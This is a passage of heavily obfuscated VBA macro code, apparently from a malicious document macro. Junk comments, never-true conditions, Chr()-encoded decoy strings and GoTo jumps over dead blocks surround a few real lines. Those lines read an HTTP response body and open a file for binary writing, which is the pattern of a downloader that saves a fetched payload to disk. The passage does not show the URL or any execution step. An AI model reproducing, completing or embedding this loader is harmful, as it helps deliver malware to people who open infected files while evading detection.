If Len(Chr(99) & Chr(108) & Chr(117) & Chr(121) & Chr(108) & Chr(97) & Chr(118) & Chr(98) & Chr(53) & Chr(49) & Chr(52) & Chr(57)) = Len(Chr(98) & Chr(120) & Chr(113) & Chr(108) & Chr(122) & Chr(98) & Chr(118) & Chr(121)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Put #11, , ipnyfpee
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 763678 = 763678 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 8278 < 76 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(98) & Chr(99) & Chr(97) & Chr(107) & Chr(120) & Chr(97) & Chr(109) & Chr(105) & Chr(50) & Chr(49))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(117) & Chr(100) & Chr(116) & Chr(106) & Chr(116) & Chr(119) & Chr(106) & Chr(98) & Chr(57) & Chr(49) & Chr(50) & Chr(56)) = Len(Chr(97) & Chr(117) & Chr(114) & Chr(119) & Chr(118) & Chr(110) & Chr(114) & Chr(100)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Close #11
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 529126 = 529126 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 9982 < 55 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(99) & Chr(100) & Chr(100) & Chr(118) & Chr(100) & Chr(116) & Chr(113) & Chr(102) & Chr(52) & Chr(52))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(102) & Chr(120) & Chr(102) & Chr(121) & Chr(102) & Chr(102) & Chr(97) & Chr(120) & Chr(49) & Chr(55) & Chr(52) & Chr(50)) = Len(Chr(103) & Chr(97) & Chr(107) & Chr(108) & Chr(120) & Chr(115) & Chr(110) & Chr(122)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
zgksahqs:
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 936638 = 936638 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 1898 < 36 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(113) & Chr(101) & Chr(103) & Chr(103) & Chr(119) & Chr(121) & Chr(114) & Chr(103) & Chr(52) & Chr(54))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(108) & Chr(108) & Chr(108) & Chr(102) & Chr(114) & Chr(98) & Chr(110) & Chr(117) & Chr(52) & Chr(49) & Chr(54) & Chr(50)) = Len(Chr(102) & Chr(115) & Chr(107) & Chr(108) & Chr(99) & Chr(114) & Chr(102) & Chr(109)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
    Loop
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
GoTo jtmeizts
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Dim wnzcwxxr As String
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Open Chr(70) & Chr(86) & Chr(84) & Chr(79) & Chr(74) & Chr(79) & Chr(46) & Chr(68) & Chr(88) & Chr(84) For Binary As 44
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 712944 = 712944 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 7937 < 45 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(117) & Chr(114) & Chr(97) & Chr(107) & Chr(110) & Chr(116) & Chr(102) & Chr(107) & Chr(56) & Chr(54))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(116) & Chr(118) & Chr(117) & Chr(117) & Chr(104) & Chr(117) & Chr(103) & Chr(108) & Chr(56) & Chr(55) & Chr(55) & Chr(55)) = Len(Chr(121) & Chr(122) & Chr(112) & Chr(119) & Chr(98) & Chr(121) & Chr(103) & Chr(110)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Put #44, , wnzcwxxr
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 592286 = 592286 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 8977 < 84 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(97) & Chr(115) & Chr(101) & Chr(112) & Chr(97) & Chr(115) & Chr(102) & Chr(101) & Chr(57) & Chr(52))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(119) & Chr(117) & Chr(99) & Chr(108) & Chr(117) & Chr(108) & Chr(100) & Chr(112) & Chr(57) & Chr(56) & Chr(50) & Chr(55)) = Len(Chr(101) & Chr(119) & Chr(121) & Chr(103) & Chr(101) & Chr(112) & Chr(118) & Chr(111)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Close #44
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 937156 = 937156 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 3971 < 85 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(103) & Chr(102) & Chr(114) & Chr(108) & Chr(118) & Chr(114) & Chr(115) & Chr(112) & Chr(57) & Chr(56))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(116) & Chr(118) & Chr(114) & Chr(97) & Chr(98) & Chr(102) & Chr(101) & Chr(107) & Chr(54) & Chr(50) & Chr(52) & Chr(52)) = Len(Chr(117) & Chr(122) & Chr(105) & Chr(103) & Chr(105) & Chr(115) & Chr(97) & Chr(98)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
jtmeizts:
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 458971 = 458971 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 7545 < 78 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(99) & Chr(115) & Chr(111) & Chr(99) & Chr(97) & Chr(118) & Chr(104) & Chr(106) & Chr(57) & Chr(57))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(116) & Chr(122) & Chr(100) & Chr(119) & Chr(112) & Chr(106) & Chr(115) & Chr(111) & Chr(56) & Chr(51) & Chr(56) & Chr(53)) = Len(Chr(98) & Chr(119) & Chr(113) & Chr(97) & Chr(114) & Chr(99) & Chr(118) & Chr(99)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
    wvavhsolbur = ocpvmgeelcx.responsebody
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
GoTo fwrjwysy
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Dim lhsqoaec As String
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Open Chr(83) & Chr(89) & Chr(67) & Chr(72) & Chr(86) & Chr(81) & Chr(46) & Chr(83) & Chr(69) & Chr(67) For Binary As 37
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 111975 = 111975 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 8583 < 41 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(118) & Chr(116) & Chr(107) & Chr(100) & Chr(115) & Chr(116) & Chr(103) & Chr(102) & Chr(57) & Chr(51))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(111) & Chr(116) & Chr(102) & Chr(100) & Chr(118) & Chr(119) & Chr(108) & Chr(114) & Chr(50) & Chr(56) & Chr(53) & Chr(54)) = Len(Chr(112) & Chr(105) & Chr(107) & Chr(98) & Chr(121) & Chr(109) & Chr(107) & Chr(112)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Put #37, , lhsqoaec
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 843886 = 843886 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 8971 < 83 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(122) & Chr(115) & Chr(110) & Chr(122) & Chr(109) & Chr(114) & Chr(122) & Chr(108) & Chr(51) & Chr(56))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(111) & Chr(97) & Chr(114) & Chr(97) & Chr(101) & Chr(120) & Chr(118) & Chr(113) & Chr(57) & Chr(56) & Chr(50) & Chr(49)) = Len(Chr(114) & Chr(109) & Chr(101) & Chr(121) & Chr(120) & Chr(122) & Chr(113) & Chr(118)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Close #37
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 576822 = 576822 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 8458 < 59 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(108) & Chr(100) & Chr(108) & Chr(117) & Chr(116) & Chr(103) & Chr(102) & Chr(111) & Chr(51) & Chr(57))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(112) & Chr(118) & Chr(109) & Chr(103) & Chr(121) & Chr(118) & Chr(101) & Chr(107) & Chr(57) & Chr(51) & Chr(57) & Chr(56)) = Len(Chr(113) & Chr(97) & Chr(118) & Chr(101) & Chr(103) & Chr(99) & Chr(101) & Chr(118)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
fwrjwysy:
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 797296 = 797296 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 7614 < 93 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(120) & Chr(103) & Chr(120) & Chr(119) & Chr(98) & Chr(97) & Chr(98) & Chr(108) & Chr(50) & Chr(52))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(114) & Chr(116) & Chr(98) & Chr(109) & Chr(105) & Chr(108) & Chr(109) & Chr(113) & Chr(49) & Chr(56) & Chr(55) & Chr(55)) = Len(Chr(98) & Chr(118) & Chr(118) & Chr(110) & Chr(122) & Chr(98) & Chr(105) & Chr(98)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
    zgbpbucckrp = FreeFile
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
    Open kxqaxtgwbnh For Binary As #zgbpbucckrp
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
GoTo qpsicxsw
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Dim jymepjed As String
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Open Chr(75) & Chr(86) & Chr(75) & Chr(85) & Chr(68) & Chr(66) & Chr(46) & Chr(81) & Chr(81) & Chr(70) For Binary As 54
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 719345 = 719345 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 7999 < 45 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(117) & Chr(121) & Chr(115) & Chr(105) & Chr(104) & Chr(110) & Chr(112) & Chr(112) & Chr(56) & Chr(55))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(116) & Chr(97) & Chr(107) & Chr(118) & Chr(121) & Chr(122) & Chr(100) & Chr(115) & Chr(56) & Chr(56) & Chr(52) & Chr(49)) = Len(Chr(121) & Chr(116) & Chr(109) & Chr(113) & Chr(102) & Chr(110) & Chr(113) & Chr(107)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Put #54, , jymepjed
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 485964 = 485964 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 7815 < 72 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(109) & Chr(122) & Chr(109) & Chr(110) & Chr(115) & Chr(103) & Chr(121) & Chr(116) & Chr(56) & Chr(50))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(102) & Chr(120) & Chr(103) & Chr(111) & Chr(107) & Chr(119) & Chr(116) & Chr(115) & Chr(56) & Chr(54) & Chr(53) & Chr(53)) = Len(Chr(99) & Chr(112) & Chr(120) & Chr(114) & Chr(102) & Chr(100) & Chr(103) & Chr(115)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Close #54
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 843857 = 843857 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 3129 < 86 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(102) & Chr(108) & Chr(114) & Chr(115) & Chr(116) & Chr(118) & Chr(115) & Chr(108) & Chr(57) & Chr(57))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(114) & Chr(114) & Chr(121) & Chr(109) & Chr(117) & Chr(117) & Chr(122) & Chr(122) & Chr(54) & Chr(51) & Chr(56) & Chr(51)) = Len(Chr(121) & Chr(105) & Chr(111) & Chr(117) & Chr(103) & Chr(116) & Chr(97) & Chr(105)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
qpsicxsw:
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
